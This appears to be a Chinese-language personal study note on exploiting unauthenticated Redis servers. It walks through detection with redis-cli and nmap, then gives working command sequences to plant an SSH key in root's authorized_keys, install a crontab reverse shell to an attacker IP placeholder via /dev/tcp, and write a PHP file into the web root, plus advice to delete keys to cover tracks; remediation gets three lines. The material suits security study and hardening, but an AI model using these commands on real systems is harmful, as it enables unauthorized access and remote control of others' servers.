(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
- 本文参考不请自来 | Redis 未授权访问漏洞深度利用,十分感谢!
一、概述
Redis:一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。Redis虽然是高性能内存数据库,但也支持将内存数据保存至硬盘上,实现持久化存储。
Redis未授权访问漏洞:Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
二、漏洞验证
1.单个验证:
redis-cli -p 6379 -h 目标IP
2.多个验证:
1 nmap -v -n -Pn -p 6379 -sV --script=redis-info 192.168.10.1/24 2 -v 提高输出信息的详细度 3 -n 不对 IP 进行域名反向解析 4 -Pn 不检测主机存活 5 -p 指定端口 6 -sV 探测版本 7 --script= 调用的脚本名
- 登录过后输入 ping,回显 PONG 则登录成功
三、漏洞利用
- 漏洞环境搭建可参考Redis未授权访问漏洞的重现与利用 - FreeBuf互联网安全新媒体平台,十分详细!!!(榴莲君这里主要记录利用:)
1.信息收集:使用info命令查看服务端环境信息
2.上传SSH公钥获取SSH登录权限:
- 在本机生成key
1 root@ubuntu:~#ssh-keygen -t rsa //三个回车 2 root@ubuntu:/#cd /root/.ssh
- 将公钥导入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
- 将公钥导入到靶机中
cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx
- 连接靶机
./redis-cli -h 目标IP
- 写入(Redis 可以创建文件但无法创建目录,所以,Redis 待写入文件所在的目录必须事先存在且 Redis 安装账号对其有写权限。Redis 写文件大致分为四个步骤:登录、设置文件路径、创建键/值、保存)
1 config set dir /root/.ssh 2 config set dbfilename authorized_keys 3 save
- 远程连接
1 ssh 目标IP 2 ssh -i id_rsa root@目标IP
3.反弹Shell:将目标服务器中的终端弹到指定位置(攻击者服务器),并且需要注意弹出来的shell和当前环境有关,比如使用Apache2服务弹出来的Shell权限为www-data,低权限
- 利用计划任务执行命令反弹Shell
计划任务:在某个时间段运行,Linux中使用crontab工具(周期性执行任务)
1 crontab存放位置/var/spool/cron 2 crontab -l 表示查看当前用户的计划任务 3 crontab -e 编辑任务/添加任务 4 crontab -r 删除任务 5 Linux的计划任务由6部分组成:分钟 小时 天 月 星期 任务/命令/脚本 6 例如:*/2( 每2分钟) * * * * echo “icq” >>/tmp/icq.txt
- 利用过程
1 set xxx “\n * * * * * /bin/bash -i >& /dev/tcp/攻击者IP/监听端口 0>&1\n” 2 -i 表示交互模式,python、php、ruby、nc等等都可以反弹shell 3 CONFIG SET dir /var/spool/cron 4 CONFIG SET dbfilename root 5 save
- 记得清楚痕迹删除键值
DEL xxx
4.GetShell(需要知道网站的绝对路径):
1 config set dir /var/www/html/ 2 config set dbfilename shell.php 3 set x "<?php phpinfo();?>" 4 save 5 DEL x
四、修复
1.限制登录ip
2.添加密码
3.修改默认端口